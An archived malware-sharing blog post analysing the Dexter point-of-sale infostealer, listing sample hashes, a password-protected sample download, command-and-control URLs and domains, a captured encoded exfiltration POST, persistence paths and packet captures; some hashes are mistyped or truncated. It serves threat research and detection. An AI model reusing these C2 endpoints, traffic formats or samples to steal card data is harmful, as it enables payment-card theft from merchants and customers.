

Dec 2012 Dexter - POS Infostealer samples and information

Archived: 2026-04-05 18:37:56 UTC



End of the year presents. Point of Sale (POS) infostealer, aka Dexter.

I got 3 more "tester-type" samples and added them below - in addition to the well known 4 samples mentioned by Seculert.

You can read more about it here:

[Seculert Dexter - Draining blood out of Point of Sales](#)

TrendMicro [Infostealer Dexter Targets Checkout Systems](#)

Verizon: [Dexter: More of the same, or hidden links?](#)

Volatility labs [Unpacking Dexter POS "Memory Dump Parsing" Malware](#)

Trustwave labs: [The Dexter Malware: Getting Your Hands Dirty](#)

Symantec [Infostealer.Dexter](#)

Files

The following are MD5s of Dexter related malware samples: ([Seculert Dexter - Draining blood out of Point of Sales](#))

2d48e927cdf97413523e315ed00c90ab

94c604e5cff7650f60049993405858dfc96f8ac5b77587523d37a8f8f3d9c1bc

70feec581cd97454a74a0d7c1d3183d1

cae3cdaaa1ec224843e1c3efb78505b2e0781d70502bedff5715dc0e9b561785

f84599376e35dbe1b33945b64e1ec6ab

b27aadd3ddca1af7db6f441c6401cf74b1561bc828e19f9104769ef2d158778e

ed783ccea631bde958ac64185ca6e6b6

fb46ea9617e0c8ead0e4358da6233f3706cfc6bbbaba86a87aab28bb0b21241

Additional Files

65f5b1d0fcdaff431eec304a18fb1bd6
7e327be39260fe4bb8923af25a076cd3569df54e0328c7fe5cd7c6a2d3312674

560566573de9df114677881cf4090e79
28a26fe50e2d4e2b541ae083aa0236bd484c7eb3b30cf9b5a7f4d579e77bf438

1f03568616524188425f92afbea3c242
bdb0e24a08c9a4e62c5692762aa03b4c1e564b38510cb4b4b1758e371637edb4

Download



Download 7 samples listed above (email me if you need the password)

General information

Samples

2d48e927cdf97413523e315ed00c90ab (Seculert MD5)

f84599376e35dbe1b33945b64e1ec6ab (Seculert MD5)

ed783ccea631bde958ac64185ca6e6b6 (Seculert MD5)

all contain http://193.107.17.126/test/gateway.phpfor C2 communications (Verizon: [Dexter: More of the same, or hidden links?](#)):

U:\FirmWork\Studio\Common\Bin.exe in strings is found i

ed783ccea631bde958ac64185ca6e6b6 (Seculert MD5)

2d48e927cdf97413523e315ed00c90ab (Seculert MD5)

f84599376e35dbe1b33945b64e1ec6ab (Seculert MD5)

560566573de9df114677881cf4090e79

1f03568616524188425f92afbea3c242

65f5b1d0fcdaff431eec304a18fb1bd6

@@PAUH in strings found in all 9 files

Individual file information

1

70fec581cd97454a74a0d7c1d3183d1 (Seculert MD5)

=====

cae3cdaaa1ec224843e1c3efb78505b2e0781d70502bedff5715dc0e9b561785

70fec581cd97454a74a0d7c1d3183d1 (Seculert MD5)

%userprofile%\Application Data\fubqq\fubqq.exe

injected in iexplore.exe

```

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0(compatible; MSIE 7.0b; windows NT 6.0)
Host: 67b3dba8bc6778101892eb77249db32e.com
Content-Length: 741
Cache-Control: no-cache

page=U1IBUARWBQNNBVlZBU1UBAFZTVlUA1hNWFJYVFUBBFQCVlZR&unm=LAEVEgE=&cnm=JCUsLDg0&query=Nw
kOBA8XE0A4MA==&spec=U1JAIGku&opt=UVI=&view=OzMZEXQFDUAwEg8D8RMTPwozGRMUBQ1qEw0TE04FGAVQA
XMSEXNOBRGFahcJDgwPBw80TgUYBwOTBRIWCQMF04FGAVqDBMBEXNOBRGFahYNAQMUCAwQTgUYBwOTFGMIDXMUT
gUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUT
xAPDwwTFk4FGAVqEhUOBAwMU1JOBrgFahYNFA8PDBMETgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYB
wOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYBwOTFGMIDXMUTgUYB
RQPIw80DJmWA04FGAVqAQWHTgUYBwOXEwMOFAYZTgUYBwO0MCEVFA8jDw40BQMUTgUYBwODDQROBRGFaiwBDgc1E
AQBFAUSTgUYBwOMAQ4HEAEDC04FGAVqAw0ETgUYBwOUEgEOEwwBFA8STgUYBwOJBRgQDA8SBU4FGAVqCQYEAwPE
gVOBRGFag==&var=Fjg40FFQ&val=Y2dma2k=HTTP/1.1 200 OK
Server: nginx
Date: Sat, 22 Dec 2012 20:37:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze3

0

```

or e.g, POST http://fabcaa97871555b68aa095335975e613.com:80/portal1/gateway.php

or any of the domains below (Verizon: [Dexter: More of the same, or hidden links?](#)):

- 11e2540739d7f7bea1ab8f9aa7a107648.com
- 7186343a80c6fa32811804d23765cda4.com
- e7dce8e4671f8f03a040d08bb08ec07a.com
- e7bc2d0fcee1bdfd691a80c783173b4.com
- 815ad1c058df1b7ba9c0998e2aa8a7b4.com
- 67b3dba8bc6778101892eb77249db32e.com
- fabcaa97871555b68aa095335975e613.com

	<-		->		Total			
	Frames Bytes		Frames Bytes		Frames Bytes			
173.255.196.136	<->	172.16.253.130	150	37230	120	7200	270	44430
172.16.253.255	<->	172.16.253.1	107	35324	0	0	107	35324

ASCI strings

- GetSystemWindowsDirectoryW
- KERNEL32.dll
- C:\Debugger.fgh
- ,vr1
- snip----
- ModuleReplace.exe

LoadMemberData

?RenameCommand@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

?RenameFortation@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

?RenameHerbal@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

?RenameLoadMac@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

?RenameOptimize@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

?RenameTest@@YG_JPAUIRootStorage@@PAUHUMPD__@@@Z

VS_VERSION_INFO

StringFileInfo

040904B0

CompanyName

Microsoft Corporation

FileDescription

Microsoft Help and Support

FileVersion

6.1.7600.16385 (win7_rtm.090713-1255)

InternalName

HelpPane.exe

LegalCopyright

Microsoft Corporation. All rights reserved.

OriginalFilename

HelpPane.exe

ProductName

Microsoft

Windows

Operating System

ProductVersion

6.1.7600.16385

2

2D48E927CDF97413523E315ED00C90AB (Seculert MD5)

94c604e5cff7650f60049993405858dfc96f8ac5b77587523d37a8f8f3d9c1bc

%userprofile%\Application Data\pmnnw\pmnnw.exe

http://193.107.17.126:80/test/gateway.php

	Frames	Bytes	Frames	Bytes	Frames	Bytes	Frames	Bytes
172.16.253.255	<->	172.16.253.1	1003	335116	0	0	1003	335116
193.107.17.126	<->	172.16.253.130	264	16368	88	5280	352	21648

ASCI Strings

T7M

#nR

U:\FirmWork\Studio\Common\Bin.exe

AssistCoop.exe

?FancyBack@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

?OptimusIO@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

?OptionWindowGear@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

pcap and traffic same as above.

3

ED783CCEA631BDE958AC64185CA6E6B6 (Seculert MD5)

=====

fb46ea9617e0c8ead0e4358da6233f3706cfc6bbb86a87aab28bb0b21241

%userprofile%\Application Data\jikmr\jikmr.exe

http://193.107.17.126:80/test/gateway.php

172.16.253.255	<-> 172.16.253.1	108	35676	0	0	108	35676
193.107.17.126	<-> 172.16.253.129	30	1860	9	540	39	2400

pbk

}64

ASCI Strings

U:\FirmWork\Studio\Common\Bin.exe

Vljdsevr

----snip----

SHLWAPI.dll

TeamReg.exe

?FancyBack@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

?ForsakenQuantum@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

?OptimusIO@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

?OptionWindowGear@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

4

F84599376E35DBE1B33945B64E1EC6AB (Seculert MD5)

=====

b27aadd3ddca1af7db6f441c6401cf74b1561bc828e19f9104769ef2d158778e

%userprofile%\Application Data\yebcs\yebcs.exe

http://193.107.17.126:80/test/gateway.php

ASCII strings

```

TkJ
U:\FirmWork\Studio\Common\Bin.exe
Kagtklnuhjchep
Trebuchet MS
-----snip-----
GetQueueStatus
USER32.dll
TeamReg.exe
?FancyBack@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z
?ForsakenQuantum@@YGKPAUHKEY__@@PAUHPALETTE__@@@Z
?OptimusIO@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z

```

Additional samples

5

1F03568616524188425F92AFBEA3C242

=====

bdbe024a08c9a4e62c5692762aa03b4c1e564b38510cb4b4b1758e371637edb4

1F03568616524188425F92AFBEA3C242

```

%userprofile%\Application Data\pstwx\pstwx.exe
\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN %userprofile%\Application
Data\pstwx\pstwx.exe

```

Injected in iexplore.exe

```

Process ID: 2756 (iexplore.exe)
Process doesn't appear to be a service
PID Port Local IP State Remote IP:Port
2756 TCP 1130 172.16.253.129 SYN SENT 193.107.17.126:80

```

http://193.107.17.126:80/test/gateway.php

Conversations		Frames	Bytes	Frames	Bytes	Frames	Bytes
172.16.253.255	<-> 172.16.253.1	13	3016	0	0	13	3016
193.107.17.126	<-> 172.16.253.129	3	186	1	60	4	246

WHOIS Source: RIPE NCC
IP Address: 193.107.17.126

Country: Seychelles
Network Name: IDEALSOLUTION
Owner Name: Ideal Solution Ltd
From IP: 193.107.16.0
To IP: 193.107.19.255
Allocated: Yes
Contact Name: Ideal Solution NOC
Address: Sound & Vision House, Francis Rachel Str., Victoria, Mahe, Seychelles
Email: ideal.solutions.org@gmail.com

However, real location is in Russia

http://bgp.he.net/AS58001#_whois

http://bgp.he.net/AS58001#_peers

role: Ideal Solution NOC address: Sound & Vision House, Francis Rachel Str. address: Victoria, Mahe, Seychelles

remarks: *****

remarks: This is Ideal-Solution and 2x4.ru IP network remarks

```
No. Time Source Destination Protocol Length Info
28 10:34:18.514884 172.16.253.129 193.107.17.126 TCP 62 casp > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
29 10:34:21.453747 172.16.253.129 193.107.17.126 TCP 62 casp > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
30 10:34:27.469058 172.16.253.129 193.107.17.126 TCP 62 casp > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
52 10:35:37.704284 193.107.17.126 172.16.253.129 TCP 60 http > casp [RST, ACK] Seq=1 Ack=1 Win=64240 Len=0

Frame 28: 62 bytes on wire (496 bits), 62 bytes captured (496 bits)
Ethernet II, Src: vmware_7b:a8:da (00:0c:29:7b:a8:da), Dst: vmware_f2:7a:09 (00:50:56:f2:7a:09)
Internet Protocol Version 4, Src: 172.16.253.129 (172.16.253.129), Dst: 193.107.17.126 (193.107.17.126)
Transmission Control Protocol, Src Port: casp (1130), Dst Port: http (80), Seq: 0, Len: 0
source port: casp (1130)
destination port: http (80)
[Stream index: 2]
Sequence number: 0 (relative sequence number)
Header length: 28 bytes
Flags: 0x02 (SYN)
000. .... = Reserved: Not set
...0 .... = Nonce: Not set
.... 0... = Congestion Window Reduced (CWR): Not set
.... .0. = ECN-Echo: Not set
.... ..0. = Urgent: Not set
.... ...0 = Acknowledgement: Not set
.... .... 0.. = Push: Not set
.... ..... 0.. = Reset: Not set
... ..0... = Syn: Set
.... .... 0.. = Fin: Not set
window size value: 64240
[calculated window size: 64240]
Checksum: 0xc8d9 [validation disabled]
Options: (8 bytes)
0000 00 50 56 f2 7a 09 00 0c 29 7b a8 da 08 00 45 00 .PV.z... }[...E.
0010 00 30 01 5f 40 00 80 06 7c ed ac 10 fd 81 c1 6b .0..0... |...k
0020 11 7e 04 6a 00 50 ac 9b 91 83 00 00 00 00 70 02 .-.j.P.. .....P.
0030 fa f0 c8 d9 00 00 02 04 05 b4 01 01 04 02 .....
```

6

65F5B1D0FCDAFF431EEC304A18FB1BD6

=====

7e327be39260fe4bb8923af25a076cd3569df54e0328c7fe5cd7c6a2d3312674

65F5B1D0FCDAFF431EEC304A18FB1BD6

%userprofile%\Application Data\kwqpn\kwqpn.exe

http://193.107.17.126:80/test/gateway.php

Table with 9 columns: IP1, Direction, IP2, Frames, Bytes, Frames, Bytes, Frames, Bytes. Rows show traffic between 172.16.253.255 and 193.107.17.126.

pcap and traffic same as above.

ASCII Strings

RSDSB

```
U:\FirmWork\Studio\Common\Bin.exe  
AssistCoop.exe  
?FancyBack@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?OptimusIO@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?OptionWindowGear@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?RegardSeven@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?RightApocoloptus@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z
```

7

560566573de9df114677881cf4090e79

=====

28a26fe50e2d4e2b541ae083aa0236bd484c7eb3b30cf9b5a7f4d579e77bf438

Application Data\awwtm\awwtm.exe

URL

http://193.107.17.126:80/test/gateway.php

ASCII Strings

```
RSDS  
U:\FirmWork\Studio\Common\Bin.exe  
AssistCoop.exe  
?FancyBack@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?OptimusIO@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?OptionWindowGear@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z  
?RegardSeven@@YGGPAUHKEY__@@PAUHPALETTE__@@@Z
```

Source: <http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html>